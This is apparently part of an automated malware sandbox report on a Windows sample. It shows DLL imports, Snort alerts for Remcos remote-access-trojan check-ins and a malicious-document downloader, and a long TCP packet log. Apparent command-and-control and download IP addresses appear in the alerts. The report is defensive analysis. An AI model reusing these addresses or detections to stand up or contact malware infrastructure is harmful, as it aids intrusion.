gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetROP2, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, TlsFree, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileAttributesA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	GetErrorInfo, SysFreeString
ole32.dll	CoUninitialize, CoInitialize
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
kernel32	GetProcAddress
URL	FileProtocolHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
194.5.98.141192.168.2.32442497102032777 09/19/22-22:39:08.860574	TCP	2032777	ET TROJAN Remcos 3.x Unencrypted Server Response	2442	49710	194.5.98.141	192.168.2.3
192.168.2.3141.8.192.15149706802850263 09/19/22-22:37:46.439169	TCP	2850263	ETPRO TROJAN MalDoc Downloader User-Agent	49706	80	192.168.2.3	141.8.192.151
192.168.2.3141.8.192.15149702802850263 09/19/22-22:37:04.904728	TCP	2850263	ETPRO TROJAN MalDoc Downloader User-Agent	49702	80	192.168.2.3	141.8.192.151
192.168.2.3141.8.192.15149708802850263 09/19/22-22:38:00.485990	TCP	2850263	ETPRO TROJAN MalDoc Downloader User-Agent	49708	80	192.168.2.3	141.8.192.151
192.168.2.3194.5.98.1414971024422032776 09/19/22-22:39:08.604576	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49710	2442	192.168.2.3	194.5.98.141

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 19, 2022 22:37:04.843337059 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.903983116 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.904099941 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.904727936 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.965189934 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.966799021 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.966835022 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.966857910 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.966875076 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.966881990 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.966897011 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.966917038 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.966922998 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.966938019 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.966945887 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.966963053 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.966969013 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.966984034 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.966991901 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.967006922 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.967020035 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.967031002 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:04.967052937 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.967102051 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.969811916 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.969873905 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:04.972089052 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.027633905 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.027689934 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.027707100 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.027741909 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.027765036 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.027781010 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.027807951 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.027826071 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.027858019 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.027887106 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.027894974 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.027910948 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.027936935 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.027944088 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.027964115 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.027981043 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.027996063 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.028012037 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.028028011 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.028037071 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.028052092 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.028084040 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.028094053 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.028110027 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.028120995 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.028136015 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.028151989 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.028161049 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.028176069 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.028192043 CEST	80	49702	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.028203964 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.028260946 CEST	49702	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.036282063 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.036474943 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.037344933 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.101377964 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.102821112 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.102889061 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.102930069 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.102977037 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.102994919 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.103012085 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.103035927 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.103045940 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.103059053 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.103063107 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.103075981 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.103079081 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.103092909 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.103099108 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.103107929 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.103110075 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.103127003 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.103132010 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.103142977 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.103187084 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167022943 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167046070 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167061090 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167078972 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167104959 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167115927 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167180061 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167234898 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167335033 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167368889 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167397976 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167412043 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167442083 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167467117 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167481899 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167509079 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167520046 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167541027 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167608976 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167649031 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167692900 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167732000 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167753935 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167798042 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167843103 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167865992 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.167889118 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167932034 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167970896 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.167985916 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.168030977 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.168068886 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.168103933 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231178045 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231235981 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231254101 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231255054 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231270075 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231276035 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231300116 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231331110 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231415033 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231455088 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231471062 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231472969 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231492996 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231508970 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231514931 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231542110 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231549978 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231575012 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231579065 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231592894 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231607914 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231609106 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231621027 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231625080 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231642008 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231642008 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231658936 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231674910 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.231899023 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.231937885 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232032061 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232049942 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232065916 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232069016 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232083082 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232098103 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232142925 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232171059 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232177973 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232191086 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232203007 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232218027 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232232094 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232254028 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232309103 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232337952 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232342958 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232371092 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232372046 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232388973 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232409954 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232424974 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232469082 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232507944 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232511997 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232530117 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232546091 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232547998 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232563972 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232578993 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232661009 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232678890 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232693911 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232695103 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232712030 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232727051 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232733965 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232765913 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232774019 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232810974 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232861996 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232878923 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.232896090 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.232909918 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.233004093 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.233021021 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.233037949 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.233046055 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.233058929 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.233076096 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295542002 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295582056 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295607090 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295605898 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295633078 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295634985 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295639992 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295660019 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295676947 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295685053 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295701981 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295711994 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295712948 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295737982 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295746088 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295763969 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295773029 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295792103 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295814991 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295814991 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295840979 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295840979 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295862913 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295866966 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295885086 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295892954 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295893908 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295919895 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295934916 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295943975 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295964956 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295969963 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.295979977 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.295995951 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296010017 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296020031 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296024084 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296046972 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296066999 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296072006 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296092987 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296098948 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296102047 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296124935 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296133995 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296150923 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296166897 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296175957 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296180010 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296205997 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296221972 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296231031 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296250105 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296257019 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296272039 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296282053 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296292067 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296308041 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296312094 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296334028 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296344042 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296358109 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296380997 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296384096 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296407938 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296410084 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296431065 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296452045 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296510935 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296536922 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296552896 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296561956 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296586037 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296586990 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296600103 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296624899 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296679974 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296706915 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296729088 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296731949 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296747923 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296756029 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296757936 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296792030 CEST	49703	80	192.168.2.3	141.8.192.151
Sep 19, 2022 22:37:05.296833038 CEST	80	49703	141.8.192.151	192.168.2.3
Sep 19, 2022 22:37:05.296875000 CEST	49703	80	192.168.2.3	141.8.192.151
